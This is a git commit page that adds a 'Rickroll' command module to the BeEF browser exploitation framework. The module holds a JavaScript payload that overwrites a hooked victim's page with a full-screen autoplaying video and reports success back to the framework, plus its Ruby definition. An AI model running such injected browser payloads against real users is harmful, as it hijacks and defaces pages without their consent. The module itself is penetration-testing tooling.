initial commit of rickroll module
git-svn-id: https://beef.googlecode.com/svn/trunk@667 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
5
modules/commands/misc/rickroll/rickroll.js
Normal file
5
modules/commands/misc/rickroll/rickroll.js
Normal file
@@ -0,0 +1,5 @@
|
||||
beef.execute(function() {
|
||||
document.body.innerHTML = '<object width="100%" height="100%"><param name="movie" value="http://www.youtube.com/v/dQw4w9WgXcQ?fs=1&hl=en_US&autoplay=1"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/dQw4w9WgXcQ?fs=1&hl=en_US&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="100%" height="100%"></object>';
|
||||
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull");
|
||||
});
|
||||
43
modules/commands/misc/rickroll/rickroll.rb
Normal file
43
modules/commands/misc/rickroll/rickroll.rb
Normal file
@@ -0,0 +1,43 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Rickroll < BeEF::Command
|
||||
|
||||
#
|
||||
# Defines and set up the command module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Rickroll',
|
||||
'Description' => 'Overwrite the body of the page the victim is on with a full screen Rickroll.',
|
||||
'Category' => 'Misc',
|
||||
'Author' => 'Yori Kvitchko',
|
||||
'Data' =>
|
||||
[
|
||||
],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_USER_NOTIFY,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Result'] = @datastore['result']
|
||||
save content
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user